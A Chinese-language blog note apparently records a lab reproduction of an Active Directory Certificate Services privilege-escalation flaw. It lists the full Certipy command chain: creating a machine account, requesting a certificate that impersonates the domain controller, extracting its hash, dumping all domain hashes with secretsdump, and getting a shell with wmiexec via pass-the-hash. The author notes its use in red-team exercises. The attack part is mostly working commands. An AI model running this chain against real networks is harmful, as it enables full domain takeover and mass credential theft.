五月份爆出的漏洞,利用域控证书服务进行域内提权,危害貌似挺大的。说不定近期HVV能用到,记录备忘。
0x01 利用条件
- 一个域内普通账号
- 域控开启证书服务
- 能够和域控进行正常通信
拓扑如下:
域控名:xxxx.test
域控IP:192.168.200.105(Win2012)
域主机:192.168.200.160(Win2008)
域账号:xxxx.test\888---XXXXXX
攻击机:Kali(通过Socks代理进内网)
0x02 开启证书服务
如何开启服务网上文章一堆,找一篇文章跟着教程就好。主要是我第一遍安装,忘记截图了,不太想再安装一遍,狂点下一步就好...........
0x03 复现过程
前提:获取了域主机(Win2008)的权限,取得了普通权限的域账号,通过Frp代理到了VPS
- 安装certipy工具
git clone https://github.com/ly4k/Certipy.git
python3 setup.py install
踩坑点:如果提示ModuleNotFoundError: No module named 'impacket.examples.utils',直接卸载python3-impacket,再重新安装就好了
- 查询域控CA名和域控名
proxychains certipy find "xxxx.test/888:[email protected]" -debug

- 修改Kali的Hosts
域控IP 域控名
域控IP CA Name

- certipy利用普通域账号创建一个机器账号(后面就是利用这个机器账号冒充域管理员)
proxychains certipy account create "xxxx.test/888:[email protected]" -dc-ip 192.168.200.105 -user mari0er -dns DC.xxxx.test

- certipy利用机器账号申请一个证书(机器账号属性和域管一样,被认为是域管)
proxychains certipy req -dc-ip 192.168.200.105 "xxxx.test/mari0er$:jPORFv0TFFrHsAr[email protected]" -ca xxxx-DC-CA -template Machine -debug

- certipy利用证书获取机器账号的hash
proxychains certipy auth -pfx dc.pfx -dc-ip 192.168.200.105 -debug
注意:这里可能会遇到一个报错,提示krb_ap_err_skew(clock skew too great),经过老长时间的查证,这是由于Kali时间和域控不一致导致的,真TM坑啊......
直接和域控同步一下时间即可解决
- secretsdump.py利用域控机器账号hash获得域管理员账户的hash
proxychains python3 secretsdump.py 'xxxx.test/[email protected]' -hash :5a3907e98unhsy74nff9869a3660f
可以看到导出了所有用户(包括域内其他机器Win7和Win10)的hash值
- wmiexec.py利用获取的域管hash进行提权
proxychains python3 wmiexec.py -hashes naod2bdbboahd787699:ohodansdo2ou0f2he0ci2nc [email protected]

0x04 总结
通过代理可以看到需要开启135、445等端口,需要注意。同时,如何查询域控IP,查询时间服务器等可以参考这篇文章。